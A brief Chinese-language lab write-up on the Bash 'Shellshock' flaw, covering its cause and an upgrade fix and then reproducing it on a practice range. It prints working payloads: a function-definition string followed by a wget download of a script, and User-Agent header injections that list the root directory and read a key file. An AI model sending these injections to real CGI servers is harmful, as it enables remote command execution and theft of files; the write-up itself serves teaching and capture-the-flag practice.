漏洞描述:Bash腳本在解析某些特殊字符串時出現邏輯錯誤導致可以執行后面的命令,在一些cgi腳本中,數據是通過環境變量來傳遞的,這樣就會形成該漏洞
漏洞原理:bash通過以函數名作為環境變量名,以“(){”(bash只有在遇到特殊的環境變量才會觸發該漏洞)開頭的字串作為環境變量的值來將函數定義導出為環境變量。而該漏洞就在於BASH處理這樣的“函數環境變量”的時候,並沒有以函數結尾“}”為結束,而是一直執行其后的shell命令。 比如:(){:;};wget http://127.0.0.1/test.sh 服務器在處理這個請求的時候,會執行wget命令,就會把這個test.sh下載下來
漏洞攻擊:抓包修改user-agent內容
漏洞防御:升級版本:
示例:在一個靶場復現該漏洞
第一種方法:
這是一個存在該漏洞的網站,我們需要去找一下有cgi的頁面,如下圖:
抓包,將User-Agent的改成 () { :;}; echo; /bin/ls /
"/bin/ls /"是調用ls查看所有文件
查看key.txt:() { :;}; echo; /bin/cat /key.txt,成功得到key